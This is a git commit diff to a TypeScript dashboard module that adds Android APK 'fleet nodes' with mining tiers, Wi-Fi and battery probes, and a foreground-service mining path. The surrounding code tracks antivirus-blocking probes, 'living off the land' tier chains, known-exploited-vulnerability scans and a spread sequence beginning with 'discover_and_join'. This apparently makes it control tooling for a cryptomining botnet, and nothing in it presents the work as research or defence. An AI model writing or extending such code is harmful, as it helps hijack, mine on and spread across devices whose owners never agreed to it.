Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
AetherForge
2026-06-07 02:44:29 -07:00
parent d9f36f182c
commit 50ebfe53cb
89 changed files with 2849 additions and 82 deletions

View File

@@ -1,5 +1,6 @@
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
import type { Agent } from '../types';
import { isAndroidPlatform, platformLabel } from './platform';
import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl';
/** Mirrors agent/miner/environment_probe.go */
@@ -11,6 +12,9 @@ export interface EnvironmentProbes {
gpu?: boolean;
av_blocks_exe?: boolean;
webview2?: boolean;
wifi?: boolean;
battery?: boolean;
foreground_service?: boolean;
}
export interface StrategyReason {
@@ -117,6 +121,12 @@ export const DEFAULT_MINING_TIER_ORDER = [
'stratum_direct',
] as const;
/** APK fleet-node mining path — foreground service then in-process CPU. */
export const ANDROID_MINING_TIER_ORDER = ['foreground_service', 'cpu_inprocess'] as const;
/** Virtual timeline row summarizing skipped desktop tiers on Android. */
export const ANDROID_DESKTOP_SKIPPED_TIER = 'desktop_tiers_skipped';
const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports'];
const DEFAULT_TRIPLE_DEPLOY = [
'discover_and_join',
@@ -133,7 +143,7 @@ export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefi
if (!raw || typeof raw !== 'object') return undefined;
const row = raw as Record<string, unknown>;
const probes: EnvironmentProbes = {};
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2'] as const) {
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2', 'wifi', 'battery', 'foreground_service'] as const) {
if (typeof row[key] === 'boolean') probes[key] = row[key];
}
return Object.keys(probes).length > 0 ? probes : undefined;
@@ -205,15 +215,21 @@ function ordersDiffer(a: readonly string[], b: readonly string[]): boolean {
return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase());
}
function platformLabel(platform?: string): string {
const p = (platform || '').toLowerCase();
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
if (p.includes('linux')) return 'Linux';
if (p.includes('win') || p === 'windows') return 'Windows';
return platform?.trim() || 'Unknown';
function androidDesktopSkipped(): string[] {
return DEFAULT_MINING_TIER_ORDER.filter(
(t) => !ANDROID_MINING_TIER_ORDER.includes(t as (typeof ANDROID_MINING_TIER_ORDER)[number]),
);
}
function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] {
if (isAndroidPlatform(agent.platform)) {
const p = probes ?? {};
return [
{ key: 'wifi', label: 'Wi-Fi', ok: p.wifi === true },
{ key: 'battery', label: 'Battery', ok: p.battery === true },
{ key: 'fg_service', label: 'Foreground svc', ok: p.foreground_service === true },
].filter((c) => c.ok || probes != null);
}
const p = probes ?? {};
const chips: ProbeChip[] = [
{ key: 'docker', label: 'Docker', ok: p.docker === true },
@@ -309,6 +325,15 @@ function resolveMiningOrder(
policy: AccessDepthServerPolicy | undefined,
agent: Agent,
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
if (isAndroidPlatform(agent.platform)) {
const order = diag?.tier_chain_order?.length
? diag.tier_chain_order
: [...ANDROID_MINING_TIER_ORDER];
const skipped = diag?.tier_chain_skipped?.length
? diag.tier_chain_skipped
: androidDesktopSkipped();
return { order, skipped, source: diag?.tier_chain_order?.length ? 'agent' : 'default' };
}
if (diag?.adaptive_strategy?.tier_order?.length) {
const adaptiveOrder = diag.adaptive_strategy.tier_order;
const adaptiveActive = ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER);
@@ -431,8 +456,9 @@ export function buildAccessDepthModel(
const pending = computePendingTiers(order, skipped, attempts);
const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
const spreadOrder =
policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
const spreadOrder = isAndroidPlatform(agent.platform)
? []
: policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
? policy.lotl_onion_tiers
: [...DEFAULT_LOTL_ONION_TIERS];
@@ -447,6 +473,18 @@ export function buildAccessDepthModel(
if (agent.os_version) osParts.push(agent.os_version);
if (agent.arch) osParts.push(agent.arch);
const miningOnion = isAndroidPlatform(agent.platform)
? [
...buildOnionRows([...ANDROID_MINING_TIER_ORDER], [], attempts, activeTier, atlasSkips),
{
index: ANDROID_MINING_TIER_ORDER.length + 1,
tier: ANDROID_DESKTOP_SKIPPED_TIER,
label: formatLotlTierLabel(ANDROID_DESKTOP_SKIPPED_TIER),
status: 'skipped' as const,
},
]
: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips);
return {
platformLabel: platformLabel(agent.platform),
osLine: osParts.join(' · '),
@@ -462,7 +500,7 @@ export function buildAccessDepthModel(
inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
pendingTiers: pending,
pendingLabels: pending.map(formatLotlTierLabel),
miningOnion: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips),
miningOnion,
spreadOnion: spreadOrder.map((tier, i) => ({
index: i + 1,
tier,